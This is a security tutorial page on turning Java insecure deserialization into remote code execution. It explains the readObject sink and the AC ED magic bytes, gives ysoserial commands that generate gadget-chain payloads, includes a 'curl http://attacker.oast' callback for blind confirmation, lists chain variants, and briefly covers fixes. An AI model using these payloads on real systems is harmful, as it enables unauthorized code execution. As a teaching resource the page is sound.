Insecure Deserialization: From Serialized Blob to Remote Code Execution

Java Deserialization Exploitation

How Java deserialization becomes RCE: ObjectInputStream.readObject, the AC ED magic bytes, library gadget chains, and picking the right ysoserial gadget.

Published

Java deserialization is the archetype of gadget-chain RCE: the application calls readObject() on attacker bytes, and a chain of library classes turns that into command execution. You rarely craft the chain yourself, because ysoserial already has them. This page covers the workflow. Practice on a free live target.

The sink and the tell

The dangerous call is ObjectInputStream.readObject() (and readResolve/readExternal variants) on data you control. Every Java object stream starts with the same magic bytes, which is how you recognize one:

raw bytes     AC ED 00 05          0xACED magic, stream version 0x0005
base64        rO0AB...             the same header, base64-encoded

A cookie, parameter, or body that base64-decodes to a stream starting AC ED 00 05 is a Java deserialization input.

Why library gadgets do the work

readObject() only rebuilds classes on the classpath, so the exploit uses classes from libraries the target already ships. Known gadget libraries include Commons Collections, Spring, ROME, Hibernate, and others, each with chains that end in a command execution. You identify which library is present (error messages, known framework, trial and error) and pick the matching chain.

Generate a payload with ysoserial

ysoserial lists its chains and generates a serialized blob for one:

# list available gadget chains
java -jar ysoserial.jar
 
# generate a Commons Collections chain that runs a command, base64 for a cookie
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.oast' | base64 -w0

Deliver the base64 through the same carrier the app deserializes (cookie, parameter, header), and the chain fires during readObject().

Confirm blind, then escalate

Java RCE is usually blind, so confirm out of band or by timing before doing anything real:

OOB      'curl http://<id>.oast' or a DNS lookup -> watch for the pingback
timing   'sleep 10' -> a 10-second slower response proves execution

Edge variants

CommonsCollections1..7   try several; the right one depends on the library version
CommonsBeanutils1        when commons-beanutils is present
Spring1 / Spring2        Spring-based classpaths
ROME, Hibernate1, Jdk7u21   other common chains
RMI / JMX / LDAP         delivery channels beyond HTTP that also deserialize

Different chains suit different library versions, so cycle through the plausible ones and watch which produces a callback.

Fixing it

  • Do not deserialize untrusted data with ObjectInputStream. Use a data format like JSON parsed into fixed types.
  • Add a class allow-list with ObjectInputFilter (JEP 290) so only expected classes can be rebuilt.
  • Remove unused gadget libraries from the classpath and keep the rest patched.

Full guidance is in preventing insecure deserialization. Next, the .NET equivalent in .NET and ViewState, or try a chain on a free lab.

← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution